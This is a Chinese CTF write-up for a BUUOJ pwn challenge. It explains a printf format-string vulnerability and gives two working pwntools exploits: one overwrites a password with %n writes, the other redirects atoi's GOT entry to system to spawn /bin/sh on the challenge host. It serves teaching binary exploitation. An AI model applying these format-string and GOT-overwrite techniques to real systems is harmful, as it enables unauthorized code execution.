查看保护
查看main函数
大致意思是让我们输入密码,然后获得shell,这道题我参考了其他师傅的WP,总结一下,把里面比较细的东西稍微讲讲。这里有大致有两种思路,都运用了格式化字符串漏洞。
这里要注意,形似printf(buf)的才是格式化字符串漏洞,像printf(“%s”,buf)这样的不是格式化字符串漏洞,如果buf在栈上,且buf是一个字符数组,那他就会打印出该数组范围内的栈上的内容,直至printf满足停止打印条件,这期间有可能打印出栈上的地址,从而能够利用,但因为他不是格式化字符串漏洞所以没法用很多格式化字符串漏洞利用方法,这里提醒一下。
第一种方法,利用格式化字符串漏洞更改密码:
首先得找偏移
这里的偏移是10
然后就可以利用格式化字符串修改密码了
exp如下
from pwn import*
context(log_level='debug')
p=remote('node4.buuoj.cn',28244)
#p=process('./pwn')
password=0x804C044
payload=p32(password)+p32(password+1)+p32(password+2)+p32(password+3)
payload+=b'%10$n%11$n%12$n%13$n'
p.sendafter(b'your name:',payload)
payload=str(0x10101010)
p.sendlineafter(b'your passwd:',payload)
p.interactive()
这里要注意%10$n是根据输入的字符串长度向偏移10的地方写入该长度的数字,比如这里输入了16个字节的字符串,那就把16输入进去。这个方法要依赖于格式化字符串漏洞才能实现
还有个细节,atoi是把字符串转化成int型数字,所以在输入时要用str()而不是b' '
第二种方法,利用格式化字符串将atoi的got表内容改为system的plt地址,直接getshell:
有格式化字符串我们就能修改atoi函数的got表内容,而题目又让我们能够决定atoi的参数,那我们就能就能直接getshell。
这里之所以能这样利用是利用了动态链接的延迟绑定,当函数第一次调用时会把该函数真正的地址写入got表内,之后的调用都会从got表内存的地址去调用,大致是plt->got->addr,atoi的plt表里存的是atoi的got地址,atoi的got里存的是atoi在程序中的真正地址,我们修改atoi的got的内容,那他在调用atoi的plt时就会直接调用system的plt,system的plt就会调用system的got,从而实现调用system函数
exp如下:
from pwn import*
p=remote('node4.buuoj.cn',28258)
atoi_got=0x804C034
system_plt=0x8049080
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendlineafter(b'your name:',payload)
p.sendlineafter(b'your passwd:',b'/bin/sh')
p.interactive()
这里的payload=fmtstr_payload(10,{atoi_got:system_plt})的作用是把atoi的got里的内容改为system的plt,也是需要格式化字符串漏洞才能实现。这里的10是偏移。